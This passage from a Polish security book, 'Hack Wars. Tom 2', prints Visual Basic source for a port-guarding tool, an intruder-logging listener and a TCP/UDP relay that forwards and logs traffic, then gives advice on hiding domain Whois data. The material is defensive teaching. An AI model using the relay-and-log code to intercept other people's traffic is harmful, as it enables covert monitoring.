        sckData(intCurrIndex).LocalPort = Item.SubItems(1) 
        On Error GoTo err 
        sckData(intCurrIndex).listen 
        Item.SubItems(3) = "Enabled" 
    Else 
        sckData(intCurrIndex).Close 
        Unload sckData(intCurrIndex) 
        Item.SubItems(3) = "Disabled" 
    End If 
Exit Sub 
err: 
    lvwPortInfo.ListItems(intCurrIndex).SubItems(3) = "(" & 
err.Number & ") Error!" 
    lvwPortInfo.ListItems(intCurrIndex).Checked = False 
    sckData(intCurrIndex).Close 
    Unload sckData(intCurrIndex) 
End Sub 
 
Private Sub mnuAboutDownload_Click() 
    ShellExecute Me.hwnd, "open", UPDATE_ADDRESS, "", "", 1 
End Sub 
 
Private Sub mnuAboutWebsite_Click() 
    ShellExecute Me.hwnd, "open", WEBSITE_ADDRESS, "", "", 1 
End Sub 
 
Private Sub mnuFileExit_Click() 
Unload Me 
End 
End Sub 
 
Private Sub mnuFileLoadList_Click() 
    Dim CDLG As New CommonDialog 
    Dim strFilename As String 
    CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0) 
    strFilename = CDLG.GetFileOpenName 
    If Trim(strFilename) = Chr(0) Then Exit Sub 
    LoadPortList strFilename 
    ValidateList 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

127 

 

127

 

End Sub 
 
Sub ValidateList() 
Dim strTmpText1 As String 
Dim strTmpText2 As String 
If lvwPortInfo.ListItems.Count <> 0 Then 
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then 
    GoTo bad_list 
Else 
    For i = 1 To lvwPortInfo.ListItems.Count 
        strTmpText1 = lvwPortInfo.ListItems(i).SubItems(1) 
            For x = i + 1 To lvwPortInfo.ListItems.Count 
                If lvwPortInfo.ListItems(x).SubItems(1) = strTmpText1 
Then 
                    GoTo bad_list 
                End If 
            Next x 
    Next i 
End If 
End If 
Exit Sub 
bad_list: 
    MsgBox "Policy List Corruption." & CR & CR & "This file cannot be 
loaded!",  
    vbExclamation, "Error!" 
    lvwPortInfo.ListItems.Clear 
End Sub 
 
Private Sub mnuFileOptions_Click() 
frmNotify.Show 1 
End Sub 
 
Private Sub mnuFileSaveList_Click() 
If lvwPortInfo.ListItems.Count <> 0 Then 
    Dim CDLG As New CommonDialog 
    Dim strFilename As String 
    CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0) 
    strFilename = CDLG.GetFileSaveName 
    If Trim(strFilename) = Chr(0) Then Exit Sub 
    If Right(strFilename, 4) <> ".lst" Then 
        strFilename = strFilename & ".lst" 
    End If 
    SavePortList strFilename 
End If 
End Sub 
 
Sub SavePortList(strFilename As String) 
Dim TmpVal As PORTENTRY 
If Dir(strFilename) <> "" Then 
    If MsgBox("Overwrite " & strFilename & "?", vbExclamation + 
vbOKCancel,  
      "Confirm") = vbOK Then 
        Kill strFilename 
    Else 
        Exit Sub 
    End If 
End If 
For i = 1 To lvwPortInfo.ListItems.Count 
TmpVal.PORTNAME = lvwPortInfo.ListItems(i).Text 
TmpVal.PORTNUMBER = lvwPortInfo.ListItems(i).SubItems(1) 
Open strFilename For Random As #1 Len = Len(TmpVal) 
    If LOF(1) = 0 Then 

background image

 
128 

Hack Wars. Tom 2. Na tropie hakerów 

128 

 

        Put #1, 1, TmpVal 
 
    Else 
        Put #1, LOF(1) / Len(TmpVal) + 1, TmpVal 
    End If 
Close #1 
Next i 
End Sub 
 
Sub LoadPortList(strFilename As String) 
Dim TmpVal As PORTENTRY 
lvwPortInfo.ListItems.Clear 
Open strFilename For Random As #1 Len = Len(TmpVal) 
For i = 1 To LOF(1) / Len(TmpVal) 
    Get #1, i, TmpVal 
    lvwPortInfo.ListItems.Add , , Trim(TmpVal.PORTNAME) 
    With 
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count) 
        .SubItems(1) = Trim(TmpVal.PORTNUMBER) 
        .SubItems(3) = "Disabled" 
        .SubItems(4) = "Never" 
        .SubItems(5) = "0" 
    End With 
Next i 
Close #1 
End Sub 
 
Private Sub sckData_ConnectionRequest(Index As Integer, ByVal 
requestID As Long) 
Dim intIndex As Integer 
intIndex = Index 
If chkAntiFlood.Value = vbChecked Then 
    If lvwPortInfo.ListItems(intIndex).SubItems(5) = ANTI_FLOOD_COUNT 
Then 
        Select Case ANTI_FLOOD_ACTION 
            Case 1 
                GoTo listen 
            Case 2 
                sckData(intIndex).Close 
                lvwPortInfo.ListItems(intIndex).SubItems(3) = "Denial 
of Service  
                 Warning!" 
            Case Else 
        End Select 
    End If 
End If 
sckData(intIndex).Close 
sckData(intIndex).Accept requestID 
If BEEPONCONNECT = "1" Then 
    Beep 
End If 
lvwPortInfo.ListItems(intIndex).SubItems(2) = 
sckData(intIndex).RemoteHostIP 
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Connecting!" 
lvwPortInfo.ListItems(intIndex).SubItems(4) = Format$(Time, "h:m:s") 
& " " &  

 Format$(Date, "dd/mm/yyyy") 

lvwPortInfo.ListItems(intIndex).SubItems(5) = 
lvwPortInfo.ListItems(Index).SubItems(5) + 1 
listen: 
sckData(intIndex).Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

129 

 

129

 

On Error GoTo err 
sckData(intIndex).listen 
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Enabled" 
Exit Sub 
err: 
    lvwPortInfo.ListItems(intIndex).SubItems(3) = "Error!" 
    lvwPortInfo.ListItems(intIndex).Checked = False 
End Sub 
 
Private Sub lstn_Click() 
wsk.Close 
DaemonPort = InputBox$("Please enter the Port to monitor:") 
If DaemonPort = "" Then Exit Sub 
For i = 1 To Len(DaemonPort) 
    If Asc(Right$(DaemonPort, i)) < 48 Or Asc(Right$(DaemonPort, i)) 
> 57 Then 
        MsgBox "Please enter in a valid Port number." 
        DaemonPort = "" 
        Exit Sub 
    End If 
Next i 
wsk.LocalPort = DaemonPort 
wsk.listen 
Text1.Text = Text1.Text & "Your IP: " & wsk.LocalIP & " Daemon Port: 
" & DaemonPort  

 & vbCrLf 

End Sub 
 
Private Sub Rset_Click() 
wsk.Close 
wsk.listen 
Text1.Text = Text1.Text & "Daemon Reset" & vbCrLf 
End Sub 
 
Private Sub stp_Click() 
wsk.Close 
Text1.Text = Text1.Text & "Daemon Stoped Listening." & vbCrLf 
End Sub 
 
Private Sub Text1_Change() 
Text1.SelStart = Len(Text1.Text) 
If Len(Text1.Text) > 47775 Then 
    Text1.Text = "" 
End If 
End Sub 
 
Private Sub wsk_Close() 
wsk.Close 
wsk.listen 
Text1.Text = Text1.Text & "Remote Intruder Logged Off, Daemon Reset." 
& vbCrLf 
End Sub 
 
Private Sub wsk_ConnectionRequest(ByVal requestID As Long) 
If wsk.State <> sckClosed Then wsk.Close 
wsk.Accept requestID 
RMN = DNS.AddressToName(wsk.RemoteHostIP) 
RIP = wsk.RemoteHostIP 
Label1.Caption = RMN 
RMN = Label1.Caption 

background image

 
130 

Hack Wars. Tom 2. Na tropie hakerów 

130 

 

Text1.Text = Text1.Text & "Remote Intruder Logged On: " & RMN & "(" & 
RIP & ")" &  

 vbCrLf 

End Sub 
 
Private Sub wsk_DataArrival(ByVal bytesTotal As Long) 
wsk.GetData RxData 
Text1.Text = Text1.Text & RxData 
End Sub 
 
Private Sub wsk_Error(ByVal Number As Integer, Description As String, 
ByVal Scode  

 As Long, ByVal Source As String, ByVal HelpFile As String, ByVal 

HelpContext  

 As Long, CancelDisplay As Boolean) 

wsk.Close 
If DaemonPort <> "" Then 
    wsk.LocalPort = DaemonPort 
    wsk.listen 
End If 
Text1.Text = Text1.Text & "Winsock Error: " & Number & ": " & 
Description & vbCrLf 
Text1.Text = Text1.Text & "Daemon was reset." & vbCrLf 
End Sub 
 
 
' Opcje programu (preferencje) 
Private Sub chkBeep_Click() 
Dim strINIFILE As String 
strINIFILE = APPPATH & INIFILE 
    If chkBeep.Value = vbChecked Then 
        WriteINI strINIFILE, "GENERAL", "BEEP", "1" 
    Else 
        WriteINI strINIFILE, "GENERAL", "BEEP", "0" 
    End If 
End Sub 
 
Private Sub cmdCancel_Click() 
    Unload Me 
End Sub 
 
Private Sub cmdOk_Click() 
    ANTI_FLOOD_COUNT = txtConnectTimes 
    SaveINISettings 
    Unload Me 
End Sub 

 

Private Sub Form_Load() 
Me.Icon = frmMain.Icon 
txtConnectTimes = ANTI_FLOOD_COUNT 
Select Case ANTI_FLOOD_ACTION 
    Case 1 
        optResetPort.Value = True 
    Case 2 
        optShutPort.Value = True 
    Case Else 
End Select 
End Sub 

 

Private Sub optResetPort_Click() 
    ANTI_FLOOD_ACTION = 1 
End Sub 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

131 

 

131

 

Private Sub optShutPort_Click() 
    ANTI_FLOOD_ACTION = 2 
End Sub 

' Tworzenie zasad 
Private Sub Cancel_Click() 
Unload Me 
End Sub 
 
Private Sub cmdOk_Click() 
If txtPortNumber <> "" Then 
    If IsNumeric(txtPortNumber) = True Then 
        If txtPortNumber >= 1 Then 
                If PortExists = False Then 
                    If txtPortName = "" Then 
                        frmMain.lvwPortInfo.ListItems.Add , , 
txtPortNumber 
                    Else 
                        frmMain.lvwPortInfo.ListItems.Add , , 
txtPortName 
                    End If 
                With 
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count) 
                        .SubItems(1) = txtPortNumber 
                        .SubItems(3) = "Disabled" 
                        .SubItems(4) = "Never" 
                        .SubItems(5) = "0" 
                End With 
                Else 
                    Exit Sub 
                End If 
        Else 
            GoTo bad_port 
        End If 
    Else 
        GoTo bad_port 
    End If 
Else 
    GoTo bad_port 
End If 
Unload Me 
Exit Sub 
bad_port: 
    MsgBox "You must enter a valid port number to continue!", 
vbExclamation, "Error!" 
End Sub 
 
Function PortExists() As Boolean 
Dim i As Integer 
For i = 1 To frmMain.lvwPortInfo.ListItems.Count 
    If frmMain.lvwPortInfo.ListItems(i).SubItems(1) = txtPortNumber 
Then 
        MsgBox "That port is already guarded!", vbExclamation, 
"Error!" 
        PortExists = True 
        Exit Function 
    End If 
Next i 
PortExists = False 
End Function 
 
Private Sub Form_Load() 

background image

 
132 

Hack Wars. Tom 2. Na tropie hakerów 

132 

 

Me.Icon = frmMain.Icon 
End Sub 
 
Private Sub txtPortName_GotFocus() 
txtPortName.SelStart = 0 
txtPortName.SelLength = Len(txtPortName) 
End Sub 
 
Private Sub txtPortNumber_GotFocus() 
txtPortNumber.SelStart = 0 
txtPortNumber.SelLength = Len(txtPortNumber) 
End Sub 

' Analizator wtargni

ę

cia 

Private Sub cmdListen_Click() 
Select Case cmdListen.Caption 
Case Is = "Listen" 
  If opTCP.Value Then 
    Inet.Protocol = sckTCPProtocol 
    Inet2.Protocol = sckTCPProtocol 
    Inet.LocalPort = CInt(txtLocalPort.Text) 
    Inet.RemoteHost = txtRemoteIP.Text 
    Inet.RemotePort = CInt(txtRemotePort.Text) 
    txtLocalPort.Enabled = False 
    txtRemoteIP.Enabled = False 
    txtRemotePort.Enabled = False 
    cmdListen.Caption = "Reset" 
    Inet.Close 
    Inet.listen 
    log "I>Capturing TCP traffic on " & Inet.LocalIP & ":" & 
Inet.LocalPort 
  Else 
    Inet.Close 
    Inet2.Close 
    Inet.Protocol = sckUDPProtocol 
    Inet2.Protocol = sckUDPProtocol 
    Inet.LocalPort = CInt(txtLocalPort.Text) 
    Inet2.RemoteHost = txtRemoteIP.Text 
    Inet2.RemotePort = CInt(txtRemotePort.Text) 
    txtLocalPort.Enabled = False 
    txtRemoteIP.Enabled = False 
    txtRemotePort.Enabled = False 
    cmdListen.Caption = "Reset" 
    Inet.Bind CInt(txtLocalPort.Text) 
    log "I>Capturing UDP traffic on " & Inet.LocalIP & ":" & 
Inet.LocalPort 
  End If 
Case Is = "Reset" 
  Inet.Close 
  txtLocalPort.Enabled = True 
  txtRemoteIP.Enabled = True 
  txtRemotePort.Enabled = True 
  cmdListen.Caption = "Listen" 
End Select 
End Sub 
 
Private Sub Command1_Click() 
txtLog.Text = "" 
End Sub 
 
 
Private Sub Form_Load() 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

133 

 

133

 

txtLocalIP.Text = Inet.LocalIP 
End Sub 

 

Private Sub Form_Resize() 
If Not Me.WindowState = vbMinimized Then 
  txtLog.Width = Me.ScaleWidth 
  txtLog.Height = Me.Height - 850 
End If 
End Sub 

 

Private Sub Inet_Close() 
log "I>INET EVENT: CLOSED CONNECTION" 
Inet2.Close 
cmdListen_Click 
cmdListen_Click 
End Sub 

 

Private Sub Inet_Connect() 
log "I>INET EVENT: CONNECT" 
End Sub 

 

Private Sub Inet_ConnectionRequest(ByVal requestID As Long) 
log "I>INET EVENT: CONNECTION REQUEST [ " & requestID & " ]" 
If Inet.State <> sckClosed Then Inet.Close 
log "I>CONNECTING 0 TO " & txtRemoteIP.Text & ":" & 
CInt(txtRemotePort.Text) 
Inet2.Close 
Inet2.Connect txtRemoteIP.Text, CInt(txtRemotePort.Text) 
Do Until Inet2.State = sckConnected 
  DoEvents 
Loop 
Inet.Accept requestID 
End Sub 

 

Private Sub Inet_DataArrival(ByVal bytesTotal As Long) 
Dim sData As String 
Dim bData() As Byte 
If opTCP.Value Then 
  Inet.PeekData sData, vbString 
  Inet.GetData bData(), vbArray + vbByte 
  Inet2.SendData bData() 
Else 
  Inet.GetData sData 
  Inet2.SendData sData 
End If 
log "I>" & sData 
Exit Sub 
erred: 
Inet.Close 
Inet2.Close 
cmdListen_Click 
cmdListen_Click 
End Sub 

 

Private Sub Inet_Error(ByVal Number As Integer, Description As 
String, ByVal Scode  
  As Long, ByVal Source As String, ByVal HelpFile As String, ByVal 
HelpContext  

 As Long, CancelDisplay As Boolean) 

log "I>INET ERROR: " & Number & " = " & Description 
End Sub 

Public Sub log(Text As String) 
On Error GoTo erred 

background image

 
134 

Hack Wars. Tom 2. Na tropie hakerów 

134 

 

txtLog.Text = txtLog.Text & Text & vbCrLf 
txtLog.SelStart = Len(txtLog.Text) 
Exit Sub 
erred: 
txtLog.Text = "" 
txtLog.Text = txtLog.Text & Text & vbCrLf 
txtLog.SelStart = Len(txtLog.Text) 
End Sub 

Private Sub Inet2_Close() 
log "0>INET EVENT: CLOSED CONNECTION" 
Inet.Close 
cmdListen_Click 
cmdListen_Click 
End Sub 
 
Private Sub Inet2_DataArrival(ByVal bytesTotal As Long) 
On Error GoTo erred 
Dim sData As String 
Dim bData2() As Byte 
If opTCP.Value Then 
  Inet2.PeekData sData, vbString 
  Inet2.GetData bData2(), vbArray + vbByte 
  Inet.SendData bData2() 
Else 
  Inet2.GetData sData 
  Inet.SendData sData 
End If 
log "O>" & sData 
Exit Sub 
erred: 
Inet.Close 
Inet2.Close 
cmdListen_Click 
cmdListen_Click 
End Sub 
 
Private Sub Inet2_Error(ByVal Number As Integer, Description As 
String, ByVal Scode  
  As Long, ByVal Source As String, ByVal HelpFile As String, ByVal 
HelpContext As  
    Long, CancelDisplay As Boolean) 
log "O>INET ERROR: " & Number & " = " & Description 
End Sub 
 
Private Sub txtLocalPort_Change() 
txtRemotePort.Text = txtLocalPort.Text 
End Sub 
 
 
' Moduł wspólny 
Public Declare Function ShellExecute Lib "shell32.dll" Alias 
"ShellExecuteA" (ByVal  
  hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, 
ByVal  
  lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As 
Long) As Long 
Public Const INIFILE = "TIGERGUARD.INI" 
Public Const CR = vbCrLf 
Public MAX_PORTS As Integer 
Public ANTI_FLOOD_COUNT As Integer 
Public ANTI_FLOOD_ACTION As Integer 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

135 

 

135

 

Public BEEPONCONNECT As String * 1 
Public Type PORTENTRY 
    PORTNAME As String * 255 
    PORTNUMBER As Long 
End Type 
 
Public Function APPPATH() As String 
If Right(App.Path, 1) <> "\" Then 
    APPPATH = App.Path & "\" 
Else 
    APPPATH = App.Path 
End If 
End Function 
 
Public Function DOESINIEXIST() As Boolean 
If Dir(APPPATH & INIFILE) = "" Then 
    DOESINIEXIST = False 
Else 
    DOESINIEXIST = True 
End If 
End Function 
 
Public Sub LoadINISettings() 
Dim strTempVal As String 
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "MAXPORTS") 
If strTempVal <> "" Then 
    If IsNumeric(strTempVal) = True Then 
        If strTempVal >= 1 Then 
            MAX_PORTS = strTempVal 
            GoTo INIVAL2 
        Else 
            GoTo bad_max_port 
        End If 
        GoTo bad_max_port 
    End If 
    GoTo bad_max_port 
End If 
INIVAL2: 
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODCOUNT") 
If strTempVal <> "" Then 
    If IsNumeric(strTempVal) = True Then 
        If strTempVal >= 1 Then 
            ANTI_FLOOD_COUNT = strTempVal 
            GoTo INIVAL3 
        Else 
            GoTo bad_flood_count 
        End If 
        GoTo bad_flood_count 
    End If 
    GoTo bad_flood_count 
End If 
INIVAL3: 
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODACTION") 
If strTempVal <> "" Then 
    If IsNumeric(strTempVal) = True Then 
        If strTempVal >= 1 Then 
            ANTI_FLOOD_ACTION = strTempVal 
            Exit Sub 
        Else 
            GoTo bad_flood_count 
        End If 

background image

 
136 

Hack Wars. Tom 2. Na tropie hakerów 

136 

 

        GoTo bad_flood_count 
    End If 
    GoTo bad_flood_count 
End If 
BEEPONCONNECT = ReadINI(APPPATH & INIFILE, "GENERAL", "BEEP") 
Exit Sub 
bad_max_port: 
    MsgBox "Invalid Maximum Policies entry in INI file. Please re-
install." & CR &  
    CR & "Using Default of 40", vbExclamation, "Error!" 
    MAX_PORTS = 40 
    Exit Sub 
bad_flood_count: 
    MsgBox "Invalid Denial of Service in INI file. Please re-
install." & CR & CR &  
    "Using Default of 100", vbExclamation, "Error!" 
    ANTI_FLOOD_COUNT = 100 
    Exit Sub 
bad_flood_action: 
    MsgBox "Invalid Denial of Service entry in INI file. Please re-
install." & CR &  
    CR & "Using default (Reset Port)", vbExclamation, "Error!" 
    ANTI_FLOOD_ACTION = 1 
    Exit Sub 
End Sub 
 
Public Sub SaveINISettings() 
Dim strINIFILE As String 
Dim strTmpVal As String 
strINIFILE = APPPATH & INIFILE 
strTmpVal = MAX_PORTS 
WriteINI strINIFILE, "GENERAL", "MAXPORTS", strTmpVal 
strTmpVal = ANTI_FLOOD_ACTION 
WriteINI strINIFILE, "GENERAL", "AntiFloodAction", strTmpVal 
strTmpVal = ANTI_FLOOD_COUNT 
WriteINI strINIFILE, "GENERAL", "AntiFloodCount", strTmpVal 
If frmMain.chkAntiFlood.Value = vbChecked Then 
    WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "1" 
Else 
    WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "0" 
End If 
End Sub 
 
 
' Zarz

ą

dzane plikiem INI 

Declare Function WritePrivateProfileString Lib "kernel32" Alias  
  "WritePrivateProfileStringA" (ByVal lpApplicationName As String, 
ByVal lpKeyName   
    As Any, ByVal lpString As Any, ByVal lpFileName As String) As 
Long 
Declare Function GetPrivateProfileString Lib "kernel32" Alias  
  "GetPrivateProfileStringA" (ByVal lpApplicationName As String, 
ByVal lpKeyName As  
    Any, ByVal lpDefault As String, ByVal lpReturnedString As String, 
ByVal nSize  
      As Long, ByVal lpFileName As String) As Long 
Public Ret As String 

Public Sub WriteINI(FileName As String, Section As String, Key As 
String, Text As     

 String) 

WritePrivateProfileString Section, Key, Text, FileName 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

137 

 

137

 

End Sub 
 
Public Function ReadINI(FileName As String, Section As String, Key As 
String) 
Ret = Space$(255) 
RetLen = GetPrivateProfileString(Section, Key, "", Ret, Len(Ret), 
FileName) 
Ret = Left$(Ret, RetLen) 
ReadINI = Ret 
End Function 

' Wspólne okna dialogowe 
Private Declare Function GetSaveFileName Lib "comdlg32.dll" Alias  
  "GetSaveFileNameA" (pOpenfilename As OPENFILENAME) As Long 
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias  
  "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long 
Private Filename As OPENFILENAME 
Private Type OPENFILENAME 
        lStructSize As Long 
        hwndOwner As Long 
        hInstance As Long 
        lpstrFilter As String 
        lpstrCustomFilter As String 
        nMaxCustFilter As Long 
        nFilterIndex As Long 
        lpstrFile As String 
        nMaxFile As Long 
        lpstrFileTitle As String 
        nMaxFileTitle As Long 
        lpstrInitialDir As String 
        lpstrTitle As String 
        flags As Long 
        nFileOffset As Integer 
        nFileExtension As Integer 
        lpstrDefExt As String 
        lCustData As Long 
        lpfnHook As Long 
        lpTemplateName As String 
End Type 
 
Public Property Let DefaultExtension(Extention As String) 
    Filename.lpstrDefExt = Extention 
End Property 
 
Public Property Get DefaultExtension() As String 
    DefaultExtension = Filename.lpstrDefExt 
End Property 
 
Public Property Let ObjectOwner(Objet As Object) 
    Filename.hwndOwner = Objet.hwnd 
End Property 
 
Public Property Let Filter(CustomFilter As String) 
    Dim intCount As Integer 
    Filename.lpstrFilter = "" 
    For intCount = 1 To Len(CustomFilter) 
        If Mid(CustomFilter, intCount, 1) = "|" Then 
Filename.lpstrFilter =  
         Filename.lpstrFilter + Chr(0) Else Filename.lpstrFilter =  
         Filename.lpstrFilter + Mid(CustomFilter, intCount, 1) 
    Next intCount 
    Filename.lpstrFilter = Filename.lpstrFilter + Chr(0) 

background image

 
138 

Hack Wars. Tom 2. Na tropie hakerów 

138 

 

End Property 
 
Public Property Let WindowTitle(Title As String) 
    Filename.lpstrTitle = Title 
End Property 
 
Public Property Get WindowTitle() As String 
    WindowTitle = Filename.lpstrTitle 
End Property 
 
Public Property Let InitialDirectory(InitDir As String) 
    Filename.lpstrInitialDir = InitDir 
End Property 
 
Public Property Let DefaultFilename(strFilename As String) 
    Filename.lpstrFileTitle = strFilename 
End Property 
 
Public Property Get DefaultFilename() As String 
    DefaultFilename = Filename.lpstrFileTitle 
End Property 
 
Public Property Get InitialDirectory() As String 
    InitialDirectory = Filename.lpstrInitialDir 
End Property 
 
Public Function GetFileOpenName(Optional Multiselect As Boolean = 
False) As String 
    Filename.hInstance = App.hInstance 
    Filename.hwndOwner = hwnd 
    Filename.lpstrFile = Chr(0) & Space(259) 
    Filename.lpstrFileTitle = Filename.lpstrFileTitle 
    Filename.nMaxFile = 260 
    If Multiselect Then Filename.flags = &H80000 Or &H4 Or &H200 Else  

    

 Filename.flags = &H80000 Or &H4 

    Filename.lStructSize = Len(Filename) 
    GetOpenFileName Filename 
    GetFileOpenName = Filename.lpstrFile 
End Function 
 
Public Function GetFileSaveName() As String 
    Filename.hInstance = App.hInstance 
    Filename.hwndOwner = hwnd 
    Filename.lpstrFile = Chr(0) & Space(259) 
    Filename.nMaxFile = 260 
    Filename.flags = &H80000 Or &H4 
    Filename.lStructSize = Len(Filename) 
    GetSaveFileName Filename 
    GetFileSaveName = Filename.lpstrFile 
End Function 
 
Public Function Count() As Integer 
    Dim intCount As Integer 
    For intCount = 1 To Trim(Len(Filename.lpstrFile)) 
        If Mid(Trim(Filename.lpstrFile), intCount, 1) = Chr(0) Then 
Count = Count + 1 
    Next intCount 
    Count = Count - 2 
    If Count < 1 Then Count = Count + 1 
End Function 

 

Public Function GetMultiFilename(Filenumber As Integer) As String 
    Dim intCount As Integer 
    Dim intOne As Integer 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

139 

 

139

 

    Dim intFile As Integer 
    Dim intNext As Integer 
    intOne = InStr(1, Trim(Filename.lpstrFile), Chr(0)) 
    intFile = 1 
    For intCount = 1 To Filenumber 
        intFile = InStr(intFile + 1, Trim(Filename.lpstrFile), 
Chr(0)) 
    Next intCount 
    intNext = InStr(intFile + 1, Trim(Filename.lpstrFile), Chr(0)) 
    GetMultiFilename = IIf(Right(Mid(Trim(Filename.lpstrFile), 1, 
intOne - 1), 1) =  
      "\", Mid(Trim(Filename.lpstrFile), 1, intOne - 1),  
     Mid(Trim(Filename.lpstrFile), 1, intOne - 1) + "\") +  
     Mid(Trim(Filename.lpstrFile), intFile + 1, intNext - intFile - 
1) 
    If Right(GetMultiFilename, 1) = "\" Then GetMultiFilename =  
      Left(GetMultiFilename, Len(GetMultiFilename) - 1) 
End Function 

Przeciwdziałanie  
gromadzeniu informacji 

Jak juŜ to wyjaśniliśmy w pierwszym tomie tej ksiąŜki, Hack wars. Na tropie hakerów
zaplanowane powaŜne próby włamania wymagają pewnej wiedzy o sieci będącej celem 
ataku.  Badanie  jest  pierwszym  krokiem  w  planowanym  ataku  na  zdalną  lub  lokalną 
sieć  (jak  pamiętasz,  zdalny  atak  hakera  jest  definiowany  jako  atak  z  zewnątrz  sieci 
docelowej przy uŜyciu protokołu komunikacyjnego poprzez medium komunikacyjne). 
W czasie fazy badania zdalnego ataku te informacje są niezbędne do tworzenia strategii 
ataku, co obejmuje wybór najlepszych środków działania pozwalających na penetrację. 

Ten  rozdział  omawia  sposoby  przeciwdziałania  róŜnym  próbom  badania,  takim  jak 
uŜycie narzędzia Whois, zbieranie informacji z witryny internetowej, a takŜe inŜynieria 
społeczna.  Aby  to  zademonstrować,  odwiedzimy  ponownie  fikcyjną  firmę  o  nazwie 
XYZ, która pojawiła się w pierwszym tomie tej ksiąŜki. 

Informacje Whois 

Osoba  atakująca  uŜywa  usługi  Whois  do  odnalezienia  internetowej  nazwy  domeny 
sieciowej  firmy,  będącej  celem  ataku.  Jak  pamiętasz,  nazwa  domeny  jest  adresem 
urządzenia przyłączonego do Internetu lub dowolnej innej sieci TCP/IP, która uŜywa 
słów do identyfikacji serwerów (organizacje i podobne); taki adres ma formę www.nazwa-
firmy.com
.  Usługa  Whois  umoŜliwia  hakerowi  uzyskanie  takich  informacji,  jak  adres 
URL danej firmy, a nawet nazwy uŜytkownika, który ma konto w tej domenie. 

Bardzo  waŜna  jest  identyfikacja  miejsc,  z  których  mogą  wyciec  potencjalnie  niebez-
pieczne  informacje  odnoszące  się  do  domeny.  PoniŜej  znajduje  się  lista  adresów 
serwerów, które udostępniają usługę Whois









 

www.networksolutions.com/cgi-bin/whois/whois — dla Ameryki Północnej, 









 

www.ripe.net — dla Europy, 









 

www.apnic.net — dla Azji i Pacyfiku, 

background image

 
140 

Hack Wars. Tom 2. Na tropie hakerów 

140 

 









 

www.dns.pl/cgi-bin/whois.pl — dla Polski. 

W pierwszym tomie tej ksiąŜki, Hack wars. Na tropie hakerów, uzyskaliśmy następujące 
informacje  dotyczące  firmy  XYZ:  adres,  kontakt  do  administratora,  kontakt  w  spra-
wach  technicznych,  kontakt  w  sprawach  rozliczeń  oraz  adresy  DNS.  Dzięki  temu 
zdobyliśmy podstawy do dalszych poszukiwań, a nawet do ataku. 

Aby zamknąć „dziurę” otwartą poprzez uŜycie Whois, naleŜy umówić się z dostawcą 
Internetu  w  celu  modyfikacji  informacji  o  domenie.  Dostawcy  usług  internetowych 
(Internet service providers — ISP) oferują obsługę domen za niewielką kwotę i taka 
zmiana nie powoduje kłopotów. Pierwszym krokiem jest odnalezienie dobrego dostawcy 
Internetu,  który  oferuje  równieŜ  niezbędną  ochronę  przed  atakami  przeciwko  DNS-om. 
Sprawdź równieŜ, czy dostawca gwarantuje dostępność Internetu zgodną z polityką 
wewnętrzną  Twojej  firmy.  Niektórzy  dostawcy  zapewniają  99-procentową  dostępność 
wraz  z  najlepszą  tolerancją  błędów  oraz  automatycznym  przełączaniem  infrastruk-
tury  w przypadku  powstania  awarii.  Dobry  dostawca  jest  równieŜ  połączony  bezpo-
ś

rednio z siecią szkieletową,  co  oznacza  krótszy  czas  dostępu.  Wielu  dostawców  jest 

tylko pośrednikami sprzedającymi usługi większych firm, przez co zwiększa się odległość 
do sieci szkieletowej Internetu. W pierwszym tomie tej ksiąŜki opisaliśmy sposób uŜycia 
usługi traceroute do sprawdzenia i przetestowania dostawcy Internetu. Mniejsza odległość 
do Internetu oznacza równieŜ mniejszą ilość sprzętu, o jaki naleŜy się martwić w przy-
padku ataku hakerów, awarii, zaplanowanego wyłączenia i innych sytuacji. 

Po  podpisaniu  umowy  z  dobrym  dostawcą  Internetu  musisz  zmodyfikować  informacje 
o domenie. Jeśli nawet nie zdecydujesz się na skorzystanie z takich usług, moŜesz zmienić 
krytyczne informacje. Dla przykładowej firmy XYZ przygotowaliśmy formularze modyfi-
kacji informacji o kontakcie i hoście. Takie modyfikacje mogą być wykonywane bezpo-
ś

rednio przez Internet na stronie NASK-u (patrz rysunek 1.41). 

 

Rysunek 1.41.  
Modyfikacja 
informacji o domenie 
mo
Ŝe być bardzo 
prosta 

 

 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

137 

 

137

 

Rekomendowane przez nas zmiany powinny obejmować tematy wymienione niŜej. 

1.

 

Uzyskanie od dostawcy nazwiska osoby kontaktowej. 

2.

 

Uzyskanie od dostawcy adresu kontaktowego lub uŜycie skrzynki pocztowej. 

3.

 

Uzyskanie kontaktowego numeru telefonicznego: uŜyj bezpośredniej skrzynki 
głosowej poza wewnętrzną centralą telefoniczną firmy, innego systemu 
telefonicznego lub numeru pagera. 

4.

 

Uzyskanie od dostawcy kontaktowego adresu e-mail lub uŜycie innego konta, 
na przykład @Yahoo.com@Hotmail.com albo @wp.pl

5.

 

Uzyskanie od dostawców serwerów nazw domen. 

Na stronie NASK-u (www.dns.pl) znajdują się odpowiednie formularze do modyfikacji 
nazwy  rejestracyjnej  domeny,  danych  osoby  kontaktowej,  danych  konta  kontaktowego 
i zmiany danych o hoście lub serwerze nazw (patrz rysunki 1.41 i 1.42). 

Rysunek 1.42.  
Formularz 
modyfikacji danych 
osoby kontaktowej 

 

 

background image

 
138 

